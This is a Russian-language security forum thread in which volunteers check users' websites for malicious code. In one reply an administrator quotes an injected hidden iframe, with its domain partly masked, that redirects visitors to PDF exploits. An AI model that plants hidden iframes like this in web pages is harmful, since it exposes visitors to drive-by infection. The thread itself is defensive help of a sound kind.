Проверить сайт на наличие вирусов, все просьбы о проверке оставляйте в этой теме

akok

Команда форума
Администратор
Сообщения
19,281
Реакции
13,320
Баллы
2,203
  • Первое сообщение
  • #1
Нашим ресурсом оказываются услуги по проверке интернет ресурсов на наличие вредоносного кода.

Прошу учесть, что помощь оказывается добровольцами и поэтому не требуйте немедленной помощи. Вам обязательно окажут помощь.

Если вы хотите проверить сайт на вирусы, то выполните простые правила оформления запроса:
  1. Администрация имеет право отказать в проверке, в случае, если проверяемый ресурс нарушает законодательство или правила данного ресурса (варез, хакерская тематика, материалы порнографического характера).
  2. Никогда не публикуйте активных ссылок. (заменяйте http на хттп, например http://safezone.cc - нужно писать как хттп://safezone.cc)
  3. Не прикрепляйте файлы, которые предлагают вам скачать подозреваемые сайты. (Просто укажите имя файла, который пытается загрузится).
  4. Если Вы подозреваете, что после посещения подозрительного сайта Ваш компьютер подвергся заражению, то лучше выполнить правила оформления запроса.

*Мы не можем гарантировать 100% результат анализа. Слишком много факторов которых невозможно учесть.
 

akok

Команда форума
Администратор
Сообщения
19,281
Реакции
13,320
Баллы
2,203
solnce, попробуйте обновить касперского и если проблема повторится, то сделайте скриншет предупреждения.

Добавлено через 6 минут 4 секунды
magirus, ничего интересного не вижу.
 

apostol

Активный пользователь
Сообщения
2
Реакции
0
Баллы
391
проверте, пожалуйста : хттп ://edelstar.com.ua/
Почему-то Вэб ругается
 

solnce

Активный пользователь
Сообщения
6
Реакции
0
Баллы
391
Последнее редактирование:

akok

Команда форума
Администратор
Сообщения
19,281
Реакции
13,320
Баллы
2,203
apostol, вижу задублированный счетчик от Google Analytics

Добавлено через 53 секунды
Необходимо больше информации о проблеме.
 

apostol

Активный пользователь
Сообщения
2
Реакции
0
Баллы
391
При входе на хттп ://edelstar.com.ua/ ВЭБ блокирует какой-то другой сайт.Прошу проверить.
 

akok

Команда форума
Администратор
Сообщения
19,281
Реакции
13,320
Баллы
2,203
Теперь заражен:
В конце страницы

PHP:
'<div style="display:none">eddsfsdfsd<iframe width=2 height=2 src="http://**1B.com/in.c**?8"></iframe> </div> ';

Который редиректит на
хттп://t****is.com/1/index.php

Добавлено через 9 минут 42 секунды
Пытается подгрузить пользователю:

makeSites.pdf - Exploit.PDF-JS
normalSEven.pdf - Exploit.PDF-JS
 

steelheart

Активный пользователь
Сообщения
1
Реакции
0
Баллы
391
Добавлено через 32 секунды
Проверьте пожалуйста
ввв. clubfix. su
 

Rostislav

Активный пользователь
Сообщения
2
Реакции
0
Баллы
391
Помогите пожалуйста, найти iframe на сайте хттп//rostislav-brenbel.com
Анализ сайта выдаёт 6 штук, а я не могу найти. Вирусов на сайте не показывает.
 
Последнее редактирование:

akok

Команда форума
Администратор
Сообщения
19,281
Реакции
13,320
Баллы
2,203
Rostislav, сайт отключен?
 

glizellis

Активный пользователь
Сообщения
2
Реакции
0
Баллы
391
Помогите чайнику,пожалуйста.Мой сайт занесли в список подозрительных и весит табличка предупреждения:glizellis.ucoz.ru
Подскажите,пожалуйста, что с ним такого?И может незатруднит подсказать что где заражено и чем популярно,для чайника.Могу ли я сама с этим справится или придётся убить сайт?Живу в таком месте,где нет спецов по компьютерам.Вот и ковыряюсь сама.Программы там вредоносные или вирусы?Спасите кто может!
 
Последнее редактирование:

akok

Команда форума
Администратор
Сообщения
19,281
Реакции
13,320
Баллы
2,203
glizellis, похоже заражен. Точнее могу сказать позже....
 

akok

Команда форума
Администратор
Сообщения
19,281
Реакции
13,320
Баллы
2,203
glizellis, смотрю уже почистили сайт :) Вы молодец.

Чтоб убрать предупреждение

Добавлено через 1 минуту 3 секунды
Rostislav, тогда как я смогу проверить сайт?
 

Cameroon

Активный пользователь
Сообщения
80
Реакции
29
Баллы
408
вы только гляньте какая наглость:

сначала появилось сообщение "инициализация защиты" с бегунком, потом на моих глазах как бы идет сканирование системы секунд 15, в режиме как бы реального времени находятся вирусы, и вуаля, счастливое спасение!

а незадолго до этого выскочило оповещение во обычном окне-уведомлении от Оперы, что якобы "java-компоненты устарели" от ресурса vconlakte.ru...

З.Ы. тему создавать не стал, не ругайте, если сунул не по адресу.
 

glizellis

Активный пользователь
Сообщения
2
Реакции
0
Баллы
391
Cameroon, да,наглости людской нет предела!
 

SLL

Активный пользователь
Сообщения
2
Реакции
0
Баллы
391
хттп://ввв.shkola-serial.ru/ - проверьте, пожалуйста.
 

akok

Команда форума
Администратор
Сообщения
19,281
Реакции
13,320
Баллы
2,203
SLL, нужно больше информации о пробелеме.

P>S> Есть возможность убрать счетчик от kmindex.ru у него не очень хорошая репутация
Код:
http://www.mywot.com/en/scorecard/kmindex.ru
http://www.siteadvisor.com/sites/kmindex.ru
 

SLL

Активный пользователь
Сообщения
2
Реакции
0
Баллы
391
SLL, нужно больше информации о пробелеме.
Во время нахождения на сайте пару раз было зафиксировано заражение группой троянов (последний раз - вчера), большая часть которых сейчас определяется ДрВебом как Trojan.Packed.19647 и Trojan.WinSpy.557 (возможно изначально садится дроппер/даунлодер). Поэтому и хотел узнать - действительно ли атака идет с этого сайта (потому как других источников вроде не было). Сайт не мой, но админу мог бы сообщить, если сейчас что-то нехорошее есть.
 
Сверху Снизу